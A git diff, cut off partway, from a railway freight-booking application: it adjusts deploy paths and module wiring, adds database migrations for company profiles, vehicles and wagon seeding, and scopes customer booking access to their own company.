diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml
index a8f03027a..d8413bf71 100644
--- a/.github/workflows/deploy.yml
+++ b/.github/workflows/deploy.yml
@@ -69,8 +69,8 @@ jobs:
fi
echo "$CHANGED" | grep -q "^apps/edr-freight-api/" && SERVICES+=("freight-api")
- echo "$CHANGED" | grep -q "^apps/edr-freight-web-portal/" && SERVICES+=("freight-portal")
- echo "$CHANGED" | grep -q "^apps/edr-freight-web-backoffice/" && SERVICES+=("freight-backoffice")
+ echo "$CHANGED" | grep -q "^apps/edr-freight-web/portal/" && SERVICES+=("freight-portal")
+ echo "$CHANGED" | grep -q "^apps/edr-freight-web/backoffice/" && SERVICES+=("freight-backoffice")
echo "$CHANGED" | grep -q "^apps/edr-passenger-api/" && SERVICES+=("passenger-api")
echo "$CHANGED" | grep -q "^apps/edr-passenger-web/portal/" && SERVICES+=("passenger-portal")
echo "$CHANGED" | grep -q "^apps/edr-passenger-web/backoffice/" && SERVICES+=("passenger-backoffice")
diff --git a/.gitignore b/.gitignore
index ba46f7fd7..3f4bed8a2 100644
--- a/.gitignore
+++ b/.gitignore
@@ -29,3 +29,6 @@ coverage/
*~
\#*\#
.\#*
+branch_structure.json
+temp_auto_push.bat
+temp_interactive_push.bat
diff --git a/apps/edr-freight-api/.env.example b/apps/edr-freight-api/.env.example
index 73e122a1d..73312aae3 100644
--- a/apps/edr-freight-api/.env.example
+++ b/apps/edr-freight-api/.env.example
@@ -19,6 +19,11 @@ TELEBIRR_TIMEOUT_EXPRESS=15m
TELEBIRR_PRIVATE_KEY=
TELEBIRR_PUBLIC_KEY=
TELEBIRR_INSECURE_TLS=false
+
+# Portal pages the payment provider redirects the browser to after payment.
+# Point these at the freight portal's public payment result routes.
+PAYMENT_RETURN_URL=http://localhost:5173/payment/success
+PAYMENT_FAILURE_URL=http://localhost:5173/payment/failure
# JWT (used by @tria-plc/api-common SharedAuthModule)
JWT_SECRET=
JWT_ACCESS_TOKEN_SECRET=
diff --git a/apps/edr-freight-api/src/app.module.ts b/apps/edr-freight-api/src/app.module.ts
index 4c778620b..a5ee4c293 100644
--- a/apps/edr-freight-api/src/app.module.ts
+++ b/apps/edr-freight-api/src/app.module.ts
@@ -24,14 +24,13 @@ import { TrainSetsModule } from "./modules/train-sets/train-sets.module";
import { TrainSchedulesModule } from "./modules/train-schedules/train-schedules.module";
import { TrainSchedulingModule } from "./modules/train-scheduling/train-scheduling.module";
import { SchedulingRescheduleModule } from "./modules/scheduling-reschedule/scheduling-reschedule.module";
-import { CustomersModule } from "./modules/customers/customers.module";
import { CompaniesModule } from "./modules/companies/companies.module";
import { TrackingModule } from "./modules/tracking/tracking.module";
import { BillingModule } from "./modules/billing/billing.module";
import { NotificationsModule } from "./modules/notifications/notifications.module";
import { FileUploadSettingsModule } from "./modules/file-upload-settings/file-upload-settings.module";
import { DropdownSettingsModule } from "./modules/dropdown-settings/dropdown-settings.module";
-import { OtpModule } from './modules/otp/otp.module';
+import { OtpModule } from "./modules/otp/otp.module";
import { RuleEngineModule } from "./modules/rule-engine/rule-engine.module";
import { BackofficeModule } from "./modules/backoffice/backoffice.module";
import { DemoPermissionsModule } from "./modules/demo-permissions/demo-permissions.module";
@@ -44,7 +43,6 @@ import { EdrOrgSeeder } from "./seed/edr-org.seeder";
import { DemoUsersSeeder } from "./seed/demo-users.seeder";
import { FreightStaffUsersSeeder } from "./seed/freight-staff-users.seeder";
import { PaymentModule } from "./modules/payment/payment.module";
-import { DemoBookingsSeeder } from "./seed/demo-bookings.seeder";
import { PricingDataSeeder } from "./seed/pricing-data.seeder";
import { FileUploadSettingsSeeder } from "./seed/file-upload-settings.seeder";
import { IndodeFacilitySeeder } from "./seed/indode-facility.seeder";
@@ -64,6 +62,7 @@ import { RoutesModule } from './modules/routes/routes.module';
import { WarehousesModule } from './modules/warehouses/warehouses.module';
import { FacilitiesModule } from './modules/facilities/facilities.module';
import { OverviewModule } from './modules/overview/overview.module';
+import { VehiclesModule } from './modules/vehicles/vehicles.module';
@Module({
imports: [
@@ -101,7 +100,6 @@ import { OverviewModule } from './modules/overview/overview.module';
TrainSchedulesModule,
TrainSchedulingModule,
SchedulingRescheduleModule,
- CustomersModule,
CompaniesModule,
TrackingModule,
BillingModule,
@@ -123,12 +121,12 @@ import { OverviewModule } from './modules/overview/overview.module';
FacilitiesModule,
WarehousesModule,
OverviewModule,
+ VehiclesModule,
],
providers: [
EdrOrgSeeder,
DemoUsersSeeder,
FreightStaffUsersSeeder,
- DemoBookingsSeeder,
PricingDataSeeder,
FileUploadSettingsSeeder,
FreightPermissionKeyMigrationSeeder,
@@ -147,7 +145,6 @@ export class AppModule implements OnApplicationBootstrap {
private readonly edrOrgSeeder: EdrOrgSeeder,
private readonly demoUsersSeeder: DemoUsersSeeder,
private readonly freightStaffUsersSeeder: FreightStaffUsersSeeder,
- private readonly demoBookingsSeeder: DemoBookingsSeeder,
private readonly pricingDataSeeder: PricingDataSeeder,
private readonly fileUploadSettingsSeeder: FileUploadSettingsSeeder,
private readonly indodeFacilitySeeder: IndodeFacilitySeeder,
@@ -166,7 +163,6 @@ export class AppModule implements OnApplicationBootstrap {
await this.edrOrgSeeder.run();
await this.demoUsersSeeder.run();
await this.freightStaffUsersSeeder.run();
- await this.demoBookingsSeeder.run();
await this.pricingDataSeeder.run();
await this.fileUploadSettingsSeeder.run();
await this.indodeFacilitySeeder.run();
@@ -177,6 +173,11 @@ export class AppModule implements OnApplicationBootstrap {
await this.warehouseDemoSeeder.run();
// Idempotent demo data: ≥100 wagons/type, approval chains, 4 staff users.
// Each block self-guards on an empty-table check, so this is safe every boot.
+ // Demo data seeds (DemoBookingsSeeder, PricingDataSeeder,
+ // FileUploadSettingsSeeder) are intentionally disabled — they stay
+ // registered as providers but are not run. Re-inject + call .run() to enable.
+ // demoFreightDataSeeder now seeds ONLY the 4 staff users (wagons + approval
+ // rules are disabled inside the seeder). Kept running for the staff users.
await this.demoFreightDataSeeder.run();
}
}
diff --git a/apps/edr-freight-api/src/contracts/contract-view-model.builder.ts b/apps/edr-freight-api/src/contracts/contract-view-model.builder.ts
index 676e4f4ba..41a2f3b44 100644
--- a/apps/edr-freight-api/src/contracts/contract-view-model.builder.ts
+++ b/apps/edr-freight-api/src/contracts/contract-view-model.builder.ts
@@ -114,7 +114,9 @@ export class ContractViewModelBuilder {
tinNumber: this.valueOrDash(booking.company?.tin),
vatNumber: this.valueOrDash(booking.company?.vatNumber),
fanNumber: this.valueOrDash(booking.company?.fanNumber),
- businessLicense: this.valueOrDash(booking.company?.businessLicense),
+ businessLicense: this.valueOrDash(
+ booking.company?.companyProfiles?.[0]?.businessLicense,
+ ),
},
provider: {
name: 'Ethio-Djibouti Standard Gauge Railway Share Company',
diff --git a/apps/edr-freight-api/src/migrations/1752000000000-CreateCompanyProfiles.ts b/apps/edr-freight-api/src/migrations/1752000000000-CreateCompanyProfiles.ts
new file mode 100644
index 000000000..a27cef3ad
--- /dev/null
+++ b/apps/edr-freight-api/src/migrations/1752000000000-CreateCompanyProfiles.ts
@@ -0,0 +1,103 @@
+import {
+ MigrationInterface,
+ QueryRunner,
+ Table,
+ TableIndex,
+ TableForeignKey,
+} from "typeorm";
+
+export class CreateCompanyProfiles1752000000000 implements MigrationInterface {
+ name = "CreateCompanyProfiles1752000000000";
+
+ public async up(queryRunner: QueryRunner): Promise {
+ await queryRunner.createTable(
+ new Table({
+ schema: "freight",
+ name: "company_profiles",
+ columns: [
+ {
+ name: "id",
+ type: "uuid",
+ isPrimary: true,
+ generationStrategy: "uuid",
+ default: "gen_random_uuid()",
+ },
+ { name: "company_id", type: "uuid" },
+ { name: "type", type: "varchar", length: "32" },
+ { name: "reference", type: "varchar", length: "20", isUnique: true },
+ {
+ name: "status",
+ type: "varchar",
+ length: "32",
+ default: "'active'",
+ },
+ {
+ name: "business_license",
+ type: "varchar",
+ length: "100",
+ isNullable: true,
+ },
+ { name: "attributes", type: "jsonb", isNullable: true },
+ { name: "created_at", type: "timestamptz", default: "now()" },
+ { name: "updated_at", type: "timestamptz", default: "now()" },
+ { name: "deleted_at", type: "timestamptz", isNullable: true },
+ ],
+ }),
+ true,
+ );
+
+ await queryRunner.createForeignKey(
+ "freight.company_profiles",
+ new TableForeignKey({
+ columnNames: ["company_id"],
+ referencedTableName: "companies",
+ referencedSchema: "freight",
+ referencedColumnNames: ["id"],
+ }),
+ );
+
+ await queryRunner.createIndex(
+ "freight.company_profiles",
+ new TableIndex({ columnNames: ["company_id"] }),
+ );
+ await queryRunner.createIndex(
+ "freight.company_profiles",
+ new TableIndex({ columnNames: ["type"] }),
+ );
+
+ await queryRunner.query(
+ `CREATE SEQUENCE IF NOT EXISTS freight.seq_company_profile_ex START WITH 1`,
+ );
+ await queryRunner.query(
+ `CREATE SEQUENCE IF NOT EXISTS freight.seq_company_profile_im START WITH 1`,
+ );
+ await queryRunner.query(
+ `CREATE SEQUENCE IF NOT EXISTS freight.seq_company_profile_ffe START WITH 1`,
+ );
+ await queryRunner.query(
+ `CREATE SEQUENCE IF NOT EXISTS freight.seq_company_profile_fwj START WITH 1`,
+ );
+ await queryRunner.query(
+ `CREATE SEQUENCE IF NOT EXISTS freight.seq_company_profile_tr START WITH 1`,
+ );
+ }
+
+ public async down(queryRunner: QueryRunner): Promise {
+ await queryRunner.dropTable("freight.company_profiles");
+ await queryRunner.query(
+ `DROP SEQUENCE IF EXISTS freight.seq_company_profile_ex`,
+ );
+ await queryRunner.query(
+ `DROP SEQUENCE IF EXISTS freight.seq_company_profile_im`,
+ );
+ await queryRunner.query(
+ `DROP SEQUENCE IF EXISTS freight.seq_company_profile_ffe`,
+ );
+ await queryRunner.query(
+ `DROP SEQUENCE IF EXISTS freight.seq_company_profile_fwj`,
+ );
+ await queryRunner.query(
+ `DROP SEQUENCE IF EXISTS freight.seq_company_profile_tr`,
+ );
+ }
+}
diff --git a/apps/edr-freight-api/src/migrations/1752000000001-MoveBusinessLicenseToProfile.ts b/apps/edr-freight-api/src/migrations/1752000000001-MoveBusinessLicenseToProfile.ts
new file mode 100644
index 000000000..f15996773
--- /dev/null
+++ b/apps/edr-freight-api/src/migrations/1752000000001-MoveBusinessLicenseToProfile.ts
@@ -0,0 +1,39 @@
+import { MigrationInterface, QueryRunner } from 'typeorm';
+
+export class MoveBusinessLicenseToProfile1752000000001
+ implements MigrationInterface
+{
+ name = 'MoveBusinessLicenseToProfile1752000000001';
+
+ public async up(queryRunner: QueryRunner): Promise {
+ await queryRunner.query(`
+ UPDATE freight.company_profiles cp
+ SET business_license = c.business_license
+ FROM freight.companies c
+ WHERE cp.company_id = c.id AND c.business_license IS NOT NULL
+ `);
+
+ await queryRunner.query(
+ `ALTER TABLE freight.companies DROP COLUMN IF EXISTS business_license`,
+ );
+ }
+
+ public async down(queryRunner: QueryRunner): Promise {
+ await queryRunner.query(
+ `ALTER TABLE freight.companies ADD COLUMN business_license varchar(100) NULL`,
+ );
+
+ await queryRunner.query(`
+ UPDATE freight.companies c
+ SET business_license = cp.business_license
+ FROM (
+ SELECT DISTINCT ON (cp2.company_id)
+ cp2.company_id, cp2.business_license
+ FROM freight.company_profiles cp2
+ WHERE cp2.business_license IS NOT NULL
+ ORDER BY cp2.company_id, cp2.created_at
+ ) cp
+ WHERE cp.company_id = c.id
+ `);
+ }
+}
diff --git a/apps/edr-freight-api/src/migrations/1770000000000-CreateVehiclesTable.ts b/apps/edr-freight-api/src/migrations/1770000000000-CreateVehiclesTable.ts
new file mode 100644
index 000000000..2cf09c9f5
--- /dev/null
+++ b/apps/edr-freight-api/src/migrations/1770000000000-CreateVehiclesTable.ts
@@ -0,0 +1,39 @@
+import { MigrationInterface, QueryRunner } from 'typeorm';
+
+export class CreateVehiclesTable1770000000000 implements MigrationInterface {
+ public async up(queryRunner: QueryRunner): Promise {
+ await queryRunner.query(`
+ DO $$
+ BEGIN
+ IF NOT EXISTS (SELECT 1 FROM information_schema.tables WHERE table_name = 'vehicles' AND table_schema = 'freight') THEN
+ CREATE TABLE freight.vehicles (
+ id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
+ plate_number VARCHAR NOT NULL UNIQUE,
+ registration_number VARCHAR NOT NULL UNIQUE,
+ vehicle_type VARCHAR NOT NULL,
+ manufacturer VARCHAR NOT NULL,
+ model VARCHAR NOT NULL,
+ year INTEGER NOT NULL,
+ fuel_type VARCHAR NOT NULL,
+ capacity NUMERIC NOT NULL,
+ status VARCHAR DEFAULT 'ACTIVE' NOT NULL,
+ description TEXT,
+ created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP NOT NULL,
+ updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP NOT NULL,
+ deleted_at TIMESTAMP NULL
+ );
+
+ CREATE INDEX idx_vehicles_plate_number ON freight.vehicles(plate_number);
+ CREATE INDEX idx_vehicles_registration_number ON freight.vehicles(registration_number);
+ CREATE INDEX idx_vehicles_status ON freight.vehicles(status);
+ CREATE INDEX idx_vehicles_vehicle_type ON freight.vehicles(vehicle_type);
+ CREATE INDEX idx_vehicles_manufacturer ON freight.vehicles(manufacturer);
+ END IF;
+ END $$;
+ `);
+ }
+
+ public async down(queryRunner: QueryRunner): Promise {
+ await queryRunner.query(`DROP TABLE IF EXISTS freight.vehicles CASCADE;`);
+ }
+}
diff --git a/apps/edr-freight-api/src/migrations/1784000000001-SeedWagonsWithYardAssignment.ts b/apps/edr-freight-api/src/migrations/1784000000001-SeedWagonsWithYardAssignment.ts
new file mode 100644
index 000000000..a615fe9a4
--- /dev/null
+++ b/apps/edr-freight-api/src/migrations/1784000000001-SeedWagonsWithYardAssignment.ts
@@ -0,0 +1,156 @@
+import { MigrationInterface, QueryRunner } from 'typeorm';
+
+/**
+ * Full wagon re-seed — runs in this order:
+ *
+ * 1. DELETE all existing wagons (hard delete, not soft).
+ * 2. UPSERT all 10 standard wagon types so they are guaranteed to exist.
+ * 3. INSERT 50 wagons per wagon type (500 total), distributed evenly across
+ * the 5 main operational yards (10 wagons per yard per type):
+ *
+ * KALITY — Kality Rail Terminal
+ * MOJO — Mojo Dry Port
+ * DIRE_DAWA — Dire Dawa Yard
+ * DJIB_PORT — Djibouti Port Terminal
+ * NAGAD — Nagad Terminal, Djibouti
+ *
+ * Wagon numbers follow the pattern -NNNN (e.g. NW5-0001 … NW5-0050).
+ * Yard IDs are fetched live from freight.yards so the migration is safe across
+ * all environments regardless of UUID values.
+ */
+export class SeedWagonsWithYardAssignment1784000000001
+ implements MigrationInterface
+{
+ name = 'SeedWagonsWithYardAssignment1784000000001';
+
+ public async up(queryRunner: QueryRunner): Promise {
+ // ── STEP 1: Remove all wagons ──────────────────────────────────────────
+ await queryRunner.query(`DELETE FROM freight.wagons;`);
+
+ // ── STEP 2: Ensure all 10 wagon types exist ────────────────────────────
+ await queryRunner.query(`
+ INSERT INTO freight.wagon_types (
+ code,
+ name,
+ capacity_tons,
+ length_meters,
+ max_wagons_per_train,
+ supported_load_types,
+ is_active,
+ tare_weight_tons
+ )
+ VALUES
+ ('NW7', 'Double deck sedan wagon', 22, 26.066, NULL, ARRAY['vehicles', 'sedan'], true, 18.0),
+ ('NW5', 'Flat wagon (container)', 70, 14.000, 53, ARRAY['container', 'steel', 'machinery'], true, 22.0),
+ ('PW2', 'Box wagon', 70, 17.066, 18, ARRAY['general cargo', 'break bulk'], true, 20.0),
+ ('GW2', 'Tank wagon', 70, 12.228, 37, ARRAY['liquid', 'fuel'], true, 25.0),
+ ('CW4', 'Gondola covered wagon', 70, 13.976, 37, ARRAY['covered bulk cargo'], true, 22.0),
+ ('CW3', 'Gondola open wagon', 70, 13.976, NULL, ARRAY['open bulk cargo'], true, 20.0),
+ ('KW2', 'Hopper covered wagon', 69, 16.466, NULL, ARRAY['bulk grains'], true, 22.0),
+ ('KW3', 'Hopper open wagon', 70, 14.400, NULL, ARRAY['coal', 'bulk cargo'], true, 20.0),
+ ('NW6', 'Flat wagon (long cargo)', 70, 18.560, NULL, ARRAY['long cargo'], true, 22.0),
+ ('BW1', 'Refrigerated wagon', 38, 21.996, NULL, ARRAY['refrigerated cargo'], true, 24.0)
+ ON CONFLICT (code) DO UPDATE SET
+ name = EXCLUDED.name,
+ capacity_tons = EXCLUDED.capacity_tons,
+ length_meters = EXCLUDED.length_meters,
+ max_wagons_per_train = EXCLUDED.max_wagons_per_train,
+ supported_load_types = EXCLUDED.supported_load_types,
+ is_active = true,
+ tare_weight_tons = EXCLUDED.tare_weight_tons,
+ deleted_at = NULL,
+ updated_at = now();
+ `);
+
+ // ── STEP 3: Seed 50 wagons per type across 5 yards ────────────────────
+ await queryRunner.query(`
+ DO $$
+ DECLARE
+ wt RECORD;
+ yard_kality UUID;
+ yard_mojo UUID;
+ yard_dire_dawa UUID;
+ yard_djib_port UUID;
+ yard_nagad UUID;
+ yards UUID[];
+ i INT;
+ yard_id UUID;
+ wagon_num TEXT;
+ v_tare NUMERIC;
+ v_payload NUMERIC;
+ BEGIN
+ -- Fetch yard IDs by code (safe across envs — UUIDs differ per DB)
+ SELECT id INTO yard_kality FROM freight.yards WHERE code = 'KALITY' LIMIT 1;
+ SELECT id INTO yard_mojo FROM freight.yards WHERE code = 'MOJO' LIMIT 1;
+ SELECT id INTO yard_dire_dawa FROM freight.yards WHERE code = 'DIRE_DAWA' LIMIT 1;
+ SELECT id INTO yard_djib_port FROM freight.yards WHERE code = 'DJIB_PORT' LIMIT 1;
+ SELECT id INTO yard_nagad FROM freight.yards WHERE code = 'NAGAD' LIMIT 1;
+
+ IF yard_kality IS NULL OR yard_mojo IS NULL OR yard_dire_dawa IS NULL
+ OR yard_djib_port IS NULL OR yard_nagad IS NULL
+ THEN
+ RAISE EXCEPTION 'One or more operational yards not found. Run the yards seed first.';
+ END IF;
+
+ yards := ARRAY[
+ yard_kality,
+ yard_mojo,
+ yard_dire_dawa,
+ yard_djib_port,
+ yard_nagad
+ ];
+
+ FOR wt IN
+ SELECT id, code, capacity_tons, tare_weight_tons
+ FROM freight.wagon_types
+ WHERE is_active = true
+ ORDER BY code
+ LOOP
+ v_tare := COALESCE(wt.tare_weight_tons, 20.0);
+ v_payload := COALESCE(wt.capacity_tons, 60.0);
+
+ FOR i IN 1 .. 50 LOOP
+ wagon_num := wt.code || '-' || LPAD(i::TEXT, 4, '0');
+ yard_id := yards[ ((i - 1) % 5) + 1 ]; -- round-robin: 1→K, 2→M, 3→D, 4→J, 5→N, 6→K …
+
+ INSERT INTO freight.wagons (
+ id,
+ wagon_number,
+ wagon_type_id,
+ tare_weight,
+ max_payload_weight,
+ status,
+ current_yard_id,
+ train_id,
+ sequence_number,
+ notes,
+ train_set_wagon_id,
+ current_train_schedule_id,
+ created_at,
+ updated_at
+ )
+ VALUES (
+ uuid_generate_v4(),
+ wagon_num,
+ wt.id,
+ v_tare,
+ v_payload,
+ 'Available',
+ yard_id,
+ NULL, NULL, NULL, NULL, NULL,
+ now(), now()
+ )
+ ON CONFLICT (wagon_number) DO NOTHING;
+ END LOOP;
+
+ RAISE NOTICE 'Seeded 50 wagons for type %.', wt.code;
+ END LOOP;
+ END $$;
+ `);
+ }
+
+ public async down(queryRunner: QueryRunner): Promise {
+ // Remove all seeded wagons (full wipe — mirrors what up() did)
+ await queryRunner.query(`DELETE FROM freight.wagons;`);
+ }
+}
diff --git a/apps/edr-freight-api/src/migrations/1784100000000-AddBookingRouteDayIndex.ts b/apps/edr-freight-api/src/migrations/1784100000000-AddBookingRouteDayIndex.ts
new file mode 100644
index 000000000..544600bef
--- /dev/null
+++ b/apps/edr-freight-api/src/migrations/1784100000000-AddBookingRouteDayIndex.ts
@@ -0,0 +1,21 @@
+import { MigrationInterface, QueryRunner } from 'typeorm';
+
+/**
+ * Day-level booking pool: customers select a DAY (route + day), not a specific
+ * train. The batch engine's pool query filters bookings on
+ * (origin_yard_id, destination_yard_id, scheduled_date, status); this partial
+ * index backs that scan.
+ */
+export class AddBookingRouteDayIndex1784100000000 implements MigrationInterface {
+ public async up(queryRunner: QueryRunner): Promise {
+ await queryRunner.query(`
+ CREATE INDEX IF NOT EXISTS idx_bookings_route_day
+ ON freight.bookings (origin_yard_id, destination_yard_id, scheduled_date, status)
+ WHERE deleted_at IS NULL;
+ `);
+ }
+
+ public async down(queryRunner: QueryRunner): Promise {
+ await queryRunner.query(`DROP INDEX IF EXISTS freight.idx_bookings_route_day;`);
+ }
+}
diff --git a/apps/edr-freight-api/src/modules/bookings/booking-transition.service.ts b/apps/edr-freight-api/src/modules/bookings/booking-transition.service.ts
index b2c3ffbfb..c41013ddb 100644
--- a/apps/edr-freight-api/src/modules/bookings/booking-transition.service.ts
+++ b/apps/edr-freight-api/src/modules/bookings/booking-transition.service.ts
@@ -1,6 +1,5 @@
import {
BadRequestException,
- ConflictException,
forwardRef,
Inject,
Injectable,
@@ -69,7 +68,12 @@ export class BookingTransitionService {
priorityScore,
} as never);
- const finalBooking = await this.bookingsService.findById(updated!.id);
+ // Auto-consolidate now: a partial-wagon booking either pairs with a waiting
+ // partner (both → SUBMITTED) or is parked as PENDING_CONSOLIDATION until one
+ // arrives. The returned status reflects that outcome.
+ const finalBooking = await this.bookingsService.runConsolidationOnSubmit(
+ updated!.id,
+ );
return {
bookingId: finalBooking.id,
status: finalBooking.status,
@@ -143,7 +147,10 @@ export class BookingTransitionService {
},
} as never);
- const finalBooking = await this.bookingsService.findById(updated!.id);
+ // Same consolidation treatment as the direct submit path.
+ const finalBooking = await this.bookingsService.runConsolidationOnSubmit(
+ updated!.id,
+ );
return {
bookingId: finalBooking.id,
status: finalBooking.status,
@@ -188,18 +195,11 @@ export class BookingTransitionService {
async acceptIntake(bookingId: string, actorId: string): Promise {
const booking = await this.bookingsService.findById(bookingId);
+ // Only SUBMITTED bookings are acceptable. A booking that still needs
+ // consolidation sits in PENDING_CONSOLIDATION (resolved at submit time) and
+ // is therefore never offered for accept until a partner moves it to SUBMITTED.
assertBookingStatus(booking, ['SUBMITTED']);
- // Consolidation gate: a booking whose containers don't fill whole wagons
- // cannot be accepted until it is paired with a complementary booking.
- const gate = await this.bookingsService.resolveConsolidationGate(bookingId);
- if (gate.blocked) {
- throw new ConflictException(
- gate.message ??
- 'Booking requires consolidation and cannot be accepted until a partner is found.',
- );
- }
-
await this.ruleEngineService.instantiateApprovalSteps(bookingId, {
freightType: booking.freightType as 'CONTAINER' | 'BULK',
cargoTypeId: booking.cargoTypeId,
diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts b/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts
index ba9fffb66..ae0f1765a 100644
--- a/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts
+++ b/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts
@@ -11,6 +11,7 @@ import {
Query,
Request,
Res,
+ UnauthorizedException,
UploadedFiles,
UseInterceptors,
} from '@nestjs/common';
@@ -117,8 +118,22 @@ export class BookingsController {
@Get()
@ApiOperation({ summary: 'List freight bookings (paginated)' })
- findAll(@Query() filter: FilterBookingDto) {
- return this.bookingsService.findAll(filter);
+ async findAll(
+ @Query() filter: FilterBookingDto,
+ @CurrentUser() user: TCurrentUser,
+ ) {
+ // Staff (backoffice) see every booking. Customers (portal) are always
+ // force-scoped to their own company, regardless of any companyId they pass.
+ if (hasFreightPermission(user, FREIGHT_PERMS.bookings.view)) {
+ return this.bookingsService.findAll(filter);
+ }
+ const userId = user?.id;
+ if (!userId) throw new UnauthorizedException('Authentication required');
+ const companyId =
+ await this.bookingsService.resolveCustomerCompanyId(userId);
+ // No linked company yet → no bookings to show (avoids leaking all bookings).
+ if (!companyId) return { items: [], total: 0 };
+ return this.bookingsService.findAll(filter, companyId);
}
@Get('list-summary')
@@ -166,18 +181,60 @@ export class BookingsController {
@Get('by-reference/:reference')
@ApiOperation({ summary: 'Get booking by reference' })
- async findByReference(@Param('reference') reference: string) {
+ async findByReference(
+ @Param('reference') reference: string,
+ @CurrentUser() user: TCurrentUser,
+ ) {
const booking = await this.bookingsService.findByReference(reference);
+ // Staff see any booking; customers only their own company's.
+ if (!hasFreightPermission(user, FREIGHT_PERMS.bookings.view)) {
+ await this.bookingsService.assertCustomerCanAccessBooking(
+ user?.id,
+ booking,
+ );
+ }
return this.transitionService.enrichBookingResponse(booking);
}
@Get(':id')
@ApiOperation({ summary: 'Get booking by ID' })
- async findOne(@Param('id', ParseUUIDPipe) id: string) {
+ async findOne(
+ @Param('id', ParseUUIDPipe) id: string,
+ @CurrentUser() user: TCurrentUser,
+ ) {
const booking = await this.bookingsService.findById(id);
+ // Staff see any booking; customers only their own company's.
+ if (!hasFreightPermission(user, FREIGHT_PERMS.bookings.view)) {
+ await this.bookingsService.assertCustomerCanAccessBooking(
+ user?.id,
+ booking,
+ );
+ }
return this.transitionService.enrichBookingResponse(booking);
}
+ @Get(':id/tracking')
+ @ApiOperation({
+ summary: 'Shipment tracking timeline for a booking',
+ description:
+ "Returns the booking's consignment (once dispatched) and its ordered " +
+ 'tracking events. Scoped to the customer\'s own company.',
+ })
+ async findTracking(
+ @Param('id', ParseUUIDPipe) id: string,
+ @CurrentUser() user: TCurrentUser,
+ ) {
+ const booking = await this.bookingsService.findById(id);
+ // Staff see any booking; customers only their own company's.
+ if (!hasFreightPermission(user, FREIGHT_PERMS.bookings.view)) {
+ await this.bookingsService.assertCustomerCanAccessBooking(
+ user?.id,
+ booking,
+ );
+ }
+ return this.bookingsService.getBookingTracking(id);
+ }
+
@Delete(':id')
@HttpCode(204)
@ApiOperation({ summary: 'Soft-delete DRAFT booking' })
diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.repository.ts b/apps/edr-freight-api/src/modules/bookings/bookings.repository.ts
index d304e2946..b173bfe68 100644
--- a/apps/edr-freight-api/src/modules/bookings/bookings.repository.ts
+++ b/apps/edr-freight-api/src/modules/bookings/bookings.repository.ts
@@ -177,8 +177,11 @@ export class BookingsRepository extends BaseRepository {
.where('b.id != :bookingId', { bookingId: booking.id })
.andWhere('b.allowConsolidation = true')
.andWhere('b.consolidationPartnerId IS NULL')
+ // Only pair bookings the customer has committed (SUBMITTED) or that are
+ // already waiting (PENDING_CONSOLIDATION). DRAFT bookings are excluded so
+ // pairing never prematurely submits an unfinished/unpriced draft.
.andWhere('b.status IN (:...statuses)', {
- statuses: ['DRAFT', 'SUBMITTED', 'PENDING_CONSOLIDATION'],
+ statuses: ['SUBMITTED', 'PENDING_CONSOLIDATION'],
})
.andWhere('b.originYardId = :originYardId', {
originYardId: booking.originYardId,
@@ -686,6 +689,11 @@ export class BookingsRepository extends BaseRepository {
destinationStationId?: string;
schedulingStatus?: string;
trainScheduleId?: string;
+ /**
+ * EAT calendar day (yyyy-MM-dd). With day-level pooling the staff wizard sees
+ * the whole (route, day) pool rather than bookings pre-targeted to one train.
+ */
+ day?: string;
}): Promise {
const qb = this.repository
.createQueryBuilder('booking')
@@ -703,9 +711,16 @@ export class BookingsRepository extends BaseRepository {
.where('booking.status = :paidStatus', { paidStatus: 'PAID' })
.andWhere('scheduleBooking.id IS NULL');
- // Mirror the automatic batch pool: a schedule only ever considers bookings that
- // targeted THAT schedule (same as findBatchPool's train_schedule_id filter).
- if (options.trainScheduleId) {
+ // Day-level pooling: customers no longer set train_schedule_id, so the wizard
+ // surfaces the whole (route, EAT day) pool. Fall back to the legacy
+ // single-schedule filter only when no day is supplied (e.g. a staff-pinned
+ // booking that still carries train_schedule_id).
+ if (options.day) {
+ qb.andWhere(
+ `DATE(booking.scheduled_date AT TIME ZONE 'Africa/Addis_Ababa') = :day`,
+ { day: options.day },
+ );
+ } else if (options.trainScheduleId) {
qb.andWhere('booking.train_schedule_id = :trainScheduleId', {
trainScheduleId: options.trainScheduleId,
});
@@ -762,6 +777,43 @@ export class BookingsRepository extends BaseRepository {
.getMany();
}
+ /**
+ * Day-level batch pool: ready, not-yet-allocated bookings on a route for one
+ * EAT calendar day, regardless of which train they end up on. Same status
+ * rules and ordering as {@link findBatchPool}, but keyed on
+ * (origin, destination, day) instead of train_schedule_id — the engine then
+ * distributes these across all trains departing that day.
+ */
+ findBatchPoolByRouteDay(
+ originYardId: string,
+ destinationYardId: string,
+ day: string,
+ ): Promise {
+ return this.repository
+ .createQueryBuilder('booking')
+ .leftJoinAndSelect('booking.company', 'company')
+ .leftJoinAndSelect('booking.bookingContainers', 'bookingContainer')
+ .leftJoin(TrainScheduleBooking, 'sb', 'sb.booking_id = booking.id')
+ .where('booking.origin_yard_id = :originYardId', { originYardId })
+ .andWhere('booking.destination_yard_id = :destinationYardId', {
+ destinationYardId,
+ })
+ .andWhere(
+ `DATE(booking.scheduled_date AT TIME ZONE 'Africa/Addis_Ababa') = :day`,
+ { day },
+ )
+ .andWhere('sb.id IS NULL')
+ .andWhere(
+ `((booking.is_government = false AND booking.status = 'FULLY_EXECUTED')
+ OR (booking.is_government = true AND booking.status IN ('APPROVED','PAID')))`,
+ )
+ .orderBy('booking.is_government', 'DESC')
+ .addOrderBy('booking.priority_score', 'DESC')
+ .addOrderBy('booking.fully_executed_at', 'ASC')
+ .addOrderBy('booking.created_at', 'ASC')
+ .getMany();
+ }
+
/** Every booking that targeted a schedule (any status) — for the batch monitoring board. */
findAllBySchedule(scheduleId: string): Promise {
return this.repository
diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.service.ts b/apps/edr-freight-api/src/modules/bookings/bookings.service.ts
index ebf8273de..4c8ef2cab 100644
--- a/apps/edr-freight-api/src/modules/bookings/bookings.service.ts
+++ b/apps/edr-freight-api/src/modules/bookings/bookings.service.ts
@@ -1,12 +1,17 @@
import {
BadRequestException,
ConflictException,
+ ForbiddenException,
+ forwardRef,
+ Inject,
Injectable,
